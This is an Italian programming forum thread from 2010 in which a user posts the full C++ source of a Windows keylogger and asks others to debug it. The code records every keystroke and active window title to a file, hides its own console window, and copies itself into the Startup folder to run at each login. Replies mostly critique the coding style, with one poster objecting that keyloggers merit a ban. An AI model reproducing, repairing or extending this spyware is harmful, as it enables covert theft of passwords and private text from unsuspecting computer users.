Torna indietro   Hardware Upgrade Forum > Software > Programmazione

Recensione vivo X300 Pro: è ancora lui il re della fotografia mobile, peccato per la batteria
Recensione vivo X300 Pro: è ancora lui il re della fotografia mobile, peccato per la batteria
vivo X300 Pro rappresenta un'evoluzione misurata della serie fotografica del produttore cinese, con un sistema di fotocamere migliorato, chipset Dimensity 9500 di ultima generazione e l'arrivo dell'interfaccia OriginOS 6 anche sui modelli internazionali. La scelta di limitare la batteria a 5.440mAh nel mercato europeo, rispetto ai 6.510mAh disponibili altrove, fa storcere un po' il naso
Lenovo Legion Go 2: Ryzen Z2 Extreme e OLED 8,8'' per spingere gli handheld gaming PC al massimo
Lenovo Legion Go 2: Ryzen Z2 Extreme e OLED 8,8'' per spingere gli handheld gaming PC al massimo
Lenovo Legion Go 2 è la nuova handheld PC gaming con processore AMD Ryzen Z2 Extreme (8 core Zen 5/5c, GPU RDNA 3.5 16 CU) e schermo OLED 8,8" 1920x1200 144Hz. È dotata anche di controller rimovibili TrueStrike con joystick Hall effect e una batteria da 74Wh. Rispetto al dispositivo che l'ha preceduta, migliora ergonomia e prestazioni a basse risoluzioni, ma pesa 920g e costa 1.299€ nella configurazione con 32GB RAM/1TB SSD e Z2 Extreme
AWS re:Invent 2025: inizia l'era dell'AI-as-a-Service con al centro gli agenti
AWS re:Invent 2025: inizia l'era dell'AI-as-a-Service con al centro gli agenti
A re:Invent 2025, AWS mostra un’evoluzione profonda della propria strategia: l’IA diventa una piattaforma di servizi sempre più pronta all’uso, con agenti e modelli preconfigurati che accelerano lo sviluppo, mentre il cloud resta la base imprescindibile per governare dati, complessità e lock-in in uno scenario sempre più orientato all’hybrid cloud
Tutti gli articoli Tutte le news

Vai al Forum
Rispondi
 
Strumenti
Old 27-10-2010, 17:01   #1
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
[C++] KeyLogger non funziona???

Salve. Ho riscartabellato un vecchio keylogger che avevo di qualche tempo fa e funzionava. Ora gli ho apportato delle modifiche e non va più. Siccome mi sto impazzendo, che poi tanto lo so che è una cosa stupida (o un errore idiota o una dimenticanza), non è che potreste aiutarmi a capire qual è l'errore?? Grazie in anticipo!

Questo è il codice:

Codice:
/*

KeyLogger v.Beta
Author: R#I
Language: C++

*/

#include <iostream>
#include <windows.h>
#include <WinUser.h>
#include <cstring>
#include <fstream>

using namespace std;

void logga(char stringa[500]);
void logga(char carattere); // OVERLOAD
void nasc_sposta(char *dir_destinazione);
char *GetEsecAutoDir();

ofstream log; //File di LOG
char *destinazioneLog; // Destinazione file di log

int main()
{
   nasc_sposta(GetEsecAutoDir());
   int key;
    HWND finestra_corrente;
    char titolo_finestra[255], attuale[255];
      while(1)
        {
      Sleep(10); // Per non usare tutta la CPU
        finestra_corrente = GetForegroundWindow();
         GetWindowText(finestra_corrente, titolo_finestra, 254);
          if(strcmp(titolo_finestra, attuale)!= 0)
             {
                logga("\n");
                logga(titolo_finestra);
                logga("\n");
             }
                 strcpy(attuale, titolo_finestra);

// ========================= Titolo Finestra ================

if(GetAsyncKeyState(key)== -32767){

   // Tasti F1,F1,F2 ecc
   if(key >= 112 and key <= 123){
      switch(key){
           case 112: logga("[F1]"); break;
           case 113: logga("[F2]"); break;
           case 114: logga("[F3]"); break;
           case 115: logga("[F4]"); break;
           case 116: logga("[F5]"); break;
           case 117: logga("[F6]"); break;
           case 118: logga("[F7]"); break;
           case 119: logga("[F8]"); break;
           case 120: logga("[F9]"); break;
           case 121: logga("[F10]"); break;
           case 122: logga("[F11]"); break;
           case 123: logga("[F12]"); break;
      }
   }   
   // Alfabeto
   if(key >= 65 && key <= 90){
 
             if(GetAsyncKeyState(VK_CAPITAL)==1 || GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128   ){
             // Se è premuto shift o Caps Lock è attivato memoriziamo la lettera in maiuscolo
             logga(key);
 
             }else{
             // Se no memorizziamola in minuscolo
             key += 32;
             logga(key);
             }                       
   }   
   // TASTI numerici   
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){  
       // Se è premuto shift ... 
      switch(key){
      case 48 :      logga('='); break;
      case 49 :      logga('!'); break;
      case 50 :      logga('"'); break;
      case 51 :      logga('£'); break;
      case 52 :      logga('$'); break;
      case 53 :      logga('%'); break;
      case 54 :      logga('&'); break;
      case 55 :      logga('/'); break;
      case 56 :      logga('('); break;
      case 57 :      logga(')'); break;
      }                         
 
   }else{   
   // Se no stampa i numeri   
       if(key >= 48 && key <= 57)logga(key);   
    } 
 
   if( GetAsyncKeyState(VK_SHIFT)==-127 || GetAsyncKeyState(VK_SHIFT)==-128 ){
   // Se è premuto Shift ...
      switch(key){
 
      case 186 :       logga('é'); break;
      case 187 :       logga('*'); break;
      case 188 :       logga(';'); break;
      case 189 :       logga('_'); break;
      case 190 :       logga(':'); break;
      case 191 :       logga('§'); break;
      case 192 :       logga('ç'); break;
      case 219 :       logga('?'); break;
      case 220 :       logga('|'); break;
      case 221 :       logga('^'); break;
      case 222 :       logga('°'); break;
      case 226 :       logga('>'); break;
 
      }  
 
    }else if((GetAsyncKeyState(17)==-127 || GetAsyncKeyState(17)==-128  )&&(GetAsyncKeyState(18)==-127 || 
    GetAsyncKeyState(18)==-128 )&&( GetAsyncKeyState(162)==-127 ||  GetAsyncKeyState(162)==-128 )&&
    (GetAsyncKeyState(165)==-127 || GetAsyncKeyState(165)==-128) ){
    // Se tiene premuto ALT GR
      switch(key){
      case 101 :        logga('€'); break;
      case 192 :        logga('@'); break;
      case 222 :        logga('#'); break;
      case 187 :        logga(']'); break;
      case 186 :        logga('['); break;
      }                           
    }else{
    // Se no
      switch(key){  
      case 192 :        logga('ò'); break;
      case 191 :        logga('ù'); break;
      case 222 :        logga('à'); break;
      case 187 :        logga('+'); break;
      case 186 :        logga('è'); break;
      case 188 :        logga(','); break;
      case 190 :        logga('.'); break;
      case 189 :        logga('-'); break;
      case 219 :        logga('\''); break;
      case 221 :        logga('ì'); break;
      case 226 :        logga('<'); break;
      case 220 :        logga('\\'); break;
      }
      
   switch(key){
 
   case 8 :         logga("[BACK]"); break;
   case 9 :         logga("[TABLE]"); break;
   case 11:         logga("[HOME]"); break;
   case 13:         logga("[RETURN]"); break;
   case 27:         logga("[ESC]"); break;
   case 32:         logga("[SPACE]"); break;
   case 33:         logga("[PAG SU]"); break;
   case 34:         logga("[PAG GIU]"); break;
   case 35:         logga("[END]"); break;
   case 36:         logga("[HOME]"); break;
   case 37:         logga("[left]"); break;
   case 38:         logga("[TOP]"); break;
   case 39:         logga("[right]"); break;
   case 40:         logga("[BOTTOM]"); break;
   case 44:         logga("[STAMP SCREEN]"); break;
   case 45:         logga("[INS]"); break;
   case 46:         logga("[CANC]"); break;
   case 91:         logga("[WINDOWS]"); break;
   case 92:         logga("[WINDOWS]"); break;
   case 96:         logga('0'); break;
   case 97:         logga('1'); break;
   case 98:         logga('2'); break;
   case 99:         logga('3'); break;
   case 100:        logga('4'); break;
   case 101:        logga('5'); break;
   case 102:        logga('6'); break;
   case 103:        logga('7'); break;
   case 104:        logga('8'); break;
   case 105:        logga('9'); break;
   case 106:        logga('*'); break;
   case 107:        logga('+'); break;
   case 109:        logga('-'); break;
   case 110:        logga('.'); break;
   case 111:        logga('/'); break;
   case 144:        logga("[BLOC NUM]"); break;
   case 145:        logga("[BLOC SCORR]"); break;
   case 163:        logga("[ESC]"); break;
   case 255:        logga("[SPACE]"); break;
   }
  }
 }  
}
    return 0;
}

void nasc_sposta(char *dir_destinazione)
{
    HWND invisibile;

      invisibile = FindWindow("ConsoleWindowClass", NULL); //Valore finestra keylogger
      ShowWindow(invisibile, SW_HIDE); //Nascondo finestra
      MoveFile("key.exe", dir_destinazione);   // Sposto in esecuzione automatica
}

char *GetEsecAutoDir()
{
  char disco[255], utente[255], *user_path;
  DWORD *a;
   user_path = new char[255]; // Alloccazione dinamica
   a = new DWORD[255];          // Come sopra
    GetSystemDirectory(disco, 254);  // Prendo disco rigido in uso
      destinazioneLog = new char[255]; //destinazioneLog = disco; strcat(destinazioneLog, "\\key.log"); // Lo copio in variabile Globale
    GetUserName(utente, a);          // Prendo Nome Utente
     strncpy(user_path, disco, 3);   //
      strcat(user_path, "Documents and Settings\\");
      strcat(user_path, utente);// destinazioneLog = user_path; strcat(destinazioneLog, "\\logged.txt"); // cout << destinazioneLog; cin.get();
      strcat(user_path, "\\Menu Avvio\\Programmi\\Esecuzione automatica\\key.exe");
  return user_path;  // Ritorno il cpleto valore per copiare il file in esecuzione auto
}

void logga(char carattere) // Loggo caratteri
{
    log.open("log.txt", ios::app);
    log << carattere;
    log.close();
}

void logga(char stringa[500]) // Loggo caratteri speciali sotto forma di stringhe
{
    log.open("log.txt", ios::app);
    log << stringa;
    log.close();
}
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:29   #2
Tommo
Senior Member
 
L'Avatar di Tommo
 
Iscritto dal: Feb 2006
Messaggi: 1304
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Mi sa che faresti bene a dare un occhio a una cosa che si chiama "tabella ASCII" perchè il tuo codice si riscrive in 4 righe.

A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Ciap
__________________
*ToMmO*

devlog | twitter
Tommo è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 18:35   #3
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Non sapevo fosse vietato??!
Comunque grazie per il consiglio, anche se, non penso che si possa scrivere proprio in 4 righe come dici tu!

EDIT: Ma comunque si sa perchè non lavora? Qual è l'errore che faccio?

Ultima modifica di L3n : 27-10-2010 alle 18:50.
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 19:34   #4
L3n
Member
 
Iscritto dal: Jan 2010
Messaggi: 49
Almeno mi sapete dire come rilevare i simboli @#[]€ con il tasto alt gr (ctrl e alt). Ho provato VK_CONTROL (CTRL) e VK_MENU (ALT), ma non li rileva per niente! Non si accorge nemmeno che vengono premuti, infatti mi da i caratteri normali senza la pressione di alt gr! Potete aiutarmi??
L3n è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 22:38   #5
shinya
Senior Member
 
L'Avatar di shinya
 
Iscritto dal: Jul 2005
Città: Bologna
Messaggi: 1130
Quote:
Originariamente inviato da Tommo Guarda i messaggi
A parte quello kick lock & ban perchè lo scopo di tutto questo obbrobrio era un keylogger.
Moralista bacchettone.
shinya è offline   Rispondi citando il messaggio o parte di esso
Old 27-10-2010, 23:04   #6
d@vid
Senior Member
 
L'Avatar di d@vid
 
Iscritto dal: Jan 2005
Città: Napoli
Messaggi: 2424
Quote:
Originariamente inviato da Tommo Guarda i messaggi
Mi sa che hai confuso il concetto di programmazione con quello di switch...
che robaccia è l'ultimo switch? non bastava una sottrazione al posto dei case da 96 a 110?
Scusate l'intromissione

intendi con un ciclo for?


Codice:
for i from 96 to 110
case i: logga(char(*codice ASCII progressivo*)) break;
end
__________________
~ ~ ho concluso con: capzero, DarkSiDE, Iron10, 12379, Hyxshare, Gort84, kristian0, scrafti, as2k3, gegeg, Kyrandia, Feroz, asta, nyko683, mstella, 00700, WotanBN, [COLOR=]Warez[/color], sesshoumaru, ...
nel we potrei non essere davanti al pc

Ultima modifica di d@vid : 27-10-2010 alle 23:08.
d@vid è offline   Rispondi citando il messaggio o parte di esso
 Rispondi


Recensione vivo X300 Pro: è ancora lui il re della fotografia mobile, peccato per la batteria Recensione vivo X300 Pro: è ancora lui il...
Lenovo Legion Go 2: Ryzen Z2 Extreme e OLED 8,8'' per spingere gli handheld gaming PC al massimo Lenovo Legion Go 2: Ryzen Z2 Extreme e OLED 8,8'...
AWS re:Invent 2025: inizia l'era dell'AI-as-a-Service con al centro gli agenti AWS re:Invent 2025: inizia l'era dell'AI-as-a-Se...
Cos'è la bolla dell'IA e perché se ne parla Cos'è la bolla dell'IA e perché se...
BOOX Palma 2 Pro in prova: l'e-reader diventa a colori, e davvero tascabile BOOX Palma 2 Pro in prova: l'e-reader diventa a ...
iPhone Fold: scorte limitate al lancio m...
OpenAI porterà la pubblicità in ChatGPT ...
TSMC aumenterà ancora i prezzi: nel 2026...
Marvel pubblica anche il secondo teaser ...
Nuovo accordo tra xAI e il Pentagono: l'...
La famiglia Xiaomi 17 sta per registrare...
Nuove auto elettriche che vedremo sul me...
E-bike illegali, a Verona il più ...
Quali sono i giochi più venduti su Steam...
HONOR sta per lanciare un nuovo smartpho...
Jared Isaacman sarà alla guida de...
Il Tesla Cybertruck non arriverà ...
Xiaomi Watch 5 è ufficiale: architettura...
CD Projekt vende GOG: il co-fondatore Mi...
Il meglio di Amazon in 26 prodotti, aggi...
Chromium
GPU-Z
OCCT
LibreOffice Portable
Opera One Portable
Opera One 106
CCleaner Portable
CCleaner Standard
Cpu-Z
Driver NVIDIA GeForce 546.65 WHQL
SmartFTP
Trillian
Google Chrome Portable
Google Chrome 120
VirtualBox
Tutti gli articoli Tutte le news Tutti i download

Strumenti

Regole
Non Puoi aprire nuove discussioni
Non Puoi rispondere ai messaggi
Non Puoi allegare file
Non Puoi modificare i tuoi messaggi

Il codice vB è On
Le Faccine sono On
Il codice [IMG] è On
Il codice HTML è Off
Vai al Forum


Tutti gli orari sono GMT +1. Ora sono le: 01:46.


Powered by vBulletin® Version 3.6.4
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Served by www3v